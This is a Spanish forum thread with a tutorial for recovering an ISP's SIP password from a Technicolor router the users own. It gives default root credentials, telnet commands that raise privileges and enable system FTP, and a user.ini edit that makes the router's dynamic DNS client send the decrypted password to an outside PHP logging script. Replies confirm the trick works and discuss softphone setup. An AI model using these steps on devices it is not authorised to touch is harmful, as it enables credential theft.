Obtener contraseña SIP router Technicolor (Tutorial)

#1
Nota aclaratoria: Esto no es una forma de descifrar DEV3

Gracias a pafgoncalves, ner0 y MasterGipy de http://www.modem-help.co.uk por mostrarnos el camino.

Este tutorial fue probado con el modelo TG784n v3 con firmware 8.G.D.4

Muchos usuarios han pedido a su operador que le proporcione los datos de conexión SIP para poder cambiar de router y mantener el servicio de teléfono pero han recibido un no o el silencio por respuesta. Se sabe que el router Technicolor que distribuye el operador con las nuevas altas de fibra óptica almacena la configuración (y contraseñas) en el archivo user.ini. Al acceder al archivo vemos que la contraseña de la conexión SIP está cifrada con DEV3 y es muy difícil de descifrar. Con este truco haremos que el router la descifre y nos la envíe. Para que funcione este truco debemos tener la ayuda de un amigo con conexión a Internet en otra casa.

Resumen de los pasos a seguir:

  • Nuestro amigo debe instalar un servidor web+php y abrir el correspondiente puerto en su router.
  • Habilitamos el servicio FTP de nuestro router.
  • Descargamos el archivo user.ini lo modificamos y lo volvemos a subir al router.
  • Reiniciamos y nuestro router enviará una solicitud de conexión al servidor de nuestro amigo que incluye la contraseña descifrada.

Parece fácil verdad :) pasemos a los detalles.

Paso 1 (en casa de nuestro amigo)

  • Descargar quickphp_webserver.zip de http://www.zachsaw.com/?pg=quickphp_php_tester_debugger y descomprimirlo.
  • En la carpeta donde descomprimimos el QuickPHP crear una nueva carpeta con nombre webpages.
  • Abrir el Bloc de notas y escribir lo siguiente:
    Código:
    <?php 
    $parms = "User:".$_GET['username'].PHP_EOL."Pass:".$_GET['pass'].PHP_EOL;
    $file = "passlog.txt"; 
    $fh = fopen($file, 'a+') or die("can't open file"); 
    fwrite($fh, $parms.PHP_EOL); 
    fclose($fh); 
    ?>OK
    Guardar como "ducupdate.php" en la carpeta webpages (incluyendo las comillas).
  • Iniciar el servidor haciendo doble click en el ejecutable QickPHP.exe e introducir los siguientes parámetros:
    Binding Address: La IP local del pc de nuestro amigo.
    Port: 80
    Root folder: Hacer click en el boton [...] seleccioner la carpeta webpages y aceptar.
    Hacer click en el botón [Start]
  • Abrir el puerto 80 en el router de nuestro amigo y re dirigirlo a la IP local de su PC, buscar online el tutorial correspondiente el modelo de router de nuestro amigo si no sabéis como hacerlo.

Para comprobar que todo funciona necesitamos el nombre de host de la IP pública de nuestro amigo, se puede puede saber visitando la página http://myip.es donde pone Host de mi IP: y será algo así como 12.34.56.78.dyn.user.ono.com. Desde nuestra casa abrimos el navegador y visitamos la susodicha dirección agregando los parámetros username y pass por ejemplo:

12.34.56.78.dyn.user.ono.com/ducupdate.php?username=123&pass=456

Debemos recibir un OK por respuesta y en la carpeta webpages se creará un archivo con nombre passlog.txt que contiene los datos User:123 y Pass:456. Ahora a por la contraseña de verdad.

Paso 2 (en nuestra casa)

  • Resetear el router Technicolor presionando durante 10 segundos con un clip el botón reset que está en el lado izquierdo del router entre los dos puertos USB. Esperar unos minutos a que todo esté correcto y proseguir.
  • Abrir un navegador y acceder a la página de configuración de router http://192.168.1.1 con el usuario Jazztel_r00t y contraseña r00t.
  • Crear un servicio de DNS dinámico haciendo click en Toolbox>Dynamic DNS>Configure con los siguientes datos:
    Usuario:user
    Contraseña:pass
    Confirm password:pass
    Service:No-IP
    Host:mi.buen.amigo
    No olviden activar la casilla Enabled:
  • Hacer click en [Apply]
  • Conectar por telnet al router para obtener privilegios y activar el servicio FTP: (usuarios con Windows 8: habilitar el Cliente Telnet en Panel de Control\Programas\Activar o desactivar las características de Windows)

    Ejemplo usando el comando telnet de Windows

    Abrir una ventana de comandos y escribir los siguientes comandos, cada uno seguido de [Enter]
    Código:
    telnet 192.168.1.1
    Jazztel_r00t
    r00t
    :mlp role addpriv name=Jazztel access=anyaccess service=anyservice
    :service system modify name=FTP state=enabled port=ftp log=disabled natpmweight=10
    exit
  • Conectar por ftp al router con el usuario Jazztel_r00t y contraseña r00t y descargar el archivo user.ini.

    Ejemplo usando el comando ftp de Windows

    Abrir una ventana de comandos y escribir los siguientes comandos, cada uno seguido de [Enter]:
    Código:
    ftp 192.168.1.1
    Jazztel_r00t
    r00t
    get user.ini

Paso 3

  • Abrir el archivo user.ini descargado en el paso anterior (se encuentra en C:\Users\<tu usuario>) y modificar los siguientes datos:

    Localizar en la sección [voice.ini] la línea que comienza por

    profile add Index=0 SIP_URI=+34...

    Copiar la cadena de caracteres que aparecen después de password= que comienza por _DEV3_ y tiene 102 caracteres.

    Localizar en la sección [dyndns.ini] la línea que comienza por

    modify name=dyndns_0 intf=ip_FTTH user=user...

    Sustituir la cadena que aparece después de password= por la cadena copiada en el punto anterior.

    Localizar en la sección [dyndns.ini] la línea que comienza por

    service modify name=No-IP ...

    Sustituir la cadena que aparece después de server= por el nombre de host de la IP pública de nuestro amigo que usamos para comprobar el Paso 1.

  • Guardar y salir.
  • Conectar por ftp al router con el usuario Jazztel_r00t y contraseña r00t y subir el archivo user.ini editado. Ejemplo usando el comando ftp de Windows

    Abrir una ventana de comandos y escribir los siguientes comandos, cada uno seguido de [Enter]:

    Código:
    ftp 192.168.1.1
    Jazztel_r00t
    r00t
    binary
    put user.ini

Paso 4

  • Apagar y volver a encender el router, esperar unos minutos y llamar a nuestro amigo para que abra el archivo passlog.txt y nos diga la contraseña.

Eso es todo amigos. Suerte

Un saludo.
 
#2
Hola, acerca del script,

Ese script que has puesto es para obtener 2 campos de la URI, estás seguro que viaja de esa manera el usuario y password y no por auth basic?
 
#3
Yup dijo:
Hola, acerca del script,

Ese script que has puesto es para obtener 2 campos de la URI, estás seguro que viaja de esa manera el usuario y password y no por auth basic?
Si, a mi me ha funcionado de esa manera. Asegúrate de crear el servicio de dyndns para el servidor de No-IP, con otros como dyndns o custom no me ha funcionado.
 
#4
lightspeed dijo:
Yup dijo:
Hola, acerca del script,

Ese script que has puesto es para obtener 2 campos de la URI, estás seguro que viaja de esa manera el usuario y password y no por auth basic?
Si, a mi me ha funcionado de esa manera. Asegúrate de crear el servicio de dyndns para el servidor de No-IP, con otros como dyndns o custom no me ha funcionado.
Habrá que probarlo así pero eso no es auth basic jeje.
 
#5
yep dijo:
Habrá que probarlo así pero eso no es auth basic jeje.
Si usas el cliente de dyndns los datos se envían el la cabecera Authentication: Basic User:pass. También se pueden leer (no están cifrados, es base64) pero no con el QuickPHP. Para simplificar el tutorial y mientras funcione el cliente de NO-IP será mejor dejarlo así. Si quieres más detalles, por privado.
 
#6
lightspeed dijo:
yep dijo:
Habrá que probarlo así pero eso no es auth basic jeje.
Si usas el servicio de dyndns los datos se envían el la cabecera Authentication: Basic User:pass. También se pueden sacar de ahí (no están cifrados, es base64) pero no con el QuickPHP. Para simplificar el tutorial y mientras funcione el servicio de NO-IP será mejor dejarlo así. Si quieres más detalles, por privado.
Confirmo que funciona el método. Gracias lightspeed y a la comunidad http://www.modem-help.co.uk.

Solo faltaría sacar el User-Agent que envía este Router.

Un saludo.
 
#9
Entonces y para resumir....
Con este metodo podemos olvidarnos del router de la operadora y poner el nuestro, no?
Lo único que solo permite registrar 1 telefono y que tendremos que poner un telefono ip o centralita o un PAP2T para poder usar el telefono?

Gracias.
 
#10
Correcto.
Jazztel sólo permite un registro activo sip, así que si quieres tener activos a la vez un softphone, el movil como sip y un inalámbrico o llevarte el número fijo en el móvil, has de tener un asterisk de por medio. Si lo que quieres son 2 fijos, pues entonces con un PAP2T será suficiente.
 
#11
Invitado dijo:
Entonces y para resumir....
Con este metodo podemos olvidarnos del router de la operadora y poner el nuestro, no?
Lo único que solo permite registrar 1 telefono y que tendremos que poner un telefono ip o centralita o un PAP2T para poder usar el telefono?

Gracias.

Hola te explico mi experiencia antes de comprar nada:
Con router Mikrotik 750GL +SPA112 internet funciona perfecto pero el teléfono funciona 50%, es decir si llamas no hay problema que haya detectado, pero cuando te llaman desde un móvil no se oye el interlocutor del otro extremo todo programado con las opciones que indican en el foro.

Con Asus RTAC68u + ZTE con las opciones que están el foro funciona todo internet más teléfono en ambos sentidos.
Espero te sirva mi experiencia, si encuentras la solución espero me indiques
Saludos
 
#12
Hola,

Después de tener todos los datos necesarios, alguien ha conseguido configurarlo en algún softphone para móviles, por ejemplo Iphone.

Seria la caña tenerlo configurado en el móvil...
 
#13
Flipante! Quien dice nuestro amigo, dice un portatil en nuestra casa conectado a Internet a través del móvil? O no es posible? Lo digo por los proxys que suelen estar la conexiones del móvil.
 
#14
Josemilla dijo:
Flipante! Quien dice nuestro amigo, dice un portatil en nuestra casa conectado a Internet a través del móvil? O no es posible? Lo digo por los proxys que suelen estar la conexiones del móvil.
Teóricamente es posible. Es importante que tengamos un nombre de host (dns) asociado a la IP de nuestro portátil ya que el cliente de No-IP funciona con dirección URL pero no con dirección IP.
 
#15
Fatástico.
En cuanto pueda lo pruebo,

Pero tengo un par de preguntas.
SI ya tengo acceso al rotuer, ¿necesito hacer el factory default del paso 2?
He visto que desde el entorno web se puede activar el FTP. ¿Por que motivo hay que hacerlo desde telnet?

Saludos.
 
#16
Calanor dijo:
SI ya tengo acceso al rotuer, ¿necesito hacer el factory default del paso 2?
No. El reset es para que el usuario Jazztel_r00t vuelva a tener la contraseña por defecto. Si ya puedes acceder como Jazztel_r00t no hay que hacerlo nuevamente.

Calanor dijo:
He visto que desde el entorno web se puede activar el FTP. ¿Por que motivo hay que hacerlo desde telnet?
Porque no es el mismo servicio de FTP. El servicio que se activa a través de la interfaz web es para acceder a los archivos de los dispositivos de almacenamiento conectados a los puertos USB. El archivo user.ini es parte del sistema por eso hay que activar el FTP del sistema.
 
#18
Calanor dijo:
Ok.
Ja está.

Me sale un password de 6 caracteres.
¿Como podría comprobar ahora si es el correcto?


Gracias.
La manera más fácil de comprobarlo es instalando un softphone en un PC, configurado con tus datos. A mi me funciona el 3CX como se describe en este post http://www.adslzone.net/postt359120.html (solo la parte de configuración del softphone, el principio del post no es necesario). Es recomendable desactivar el cliente de VoIP del router (se puede hacer desde la página de configuración del router Toolbox>Telephony>Configure desmarcar Enable Telephony), no es correcto registrar dos dispositivos con los mismos datos simultáneamente.
 
#19
Calanor dijo:
Ok.
Ja está.

Me sale un password de 6 caracteres.
¿Como podría comprobar ahora si es el correcto?


Gracias.
Tendrías que registrar un softphone. Ten en cuenta que Jazztel no permite 2 registros simultaneos sobre el mismo Proxy. Deberías usar un Proxy diferente al que tienes configurado en el Router. De hecho, no todos los routers tienen configurado el mismo Proxy.

Un saludo.
 
Arriba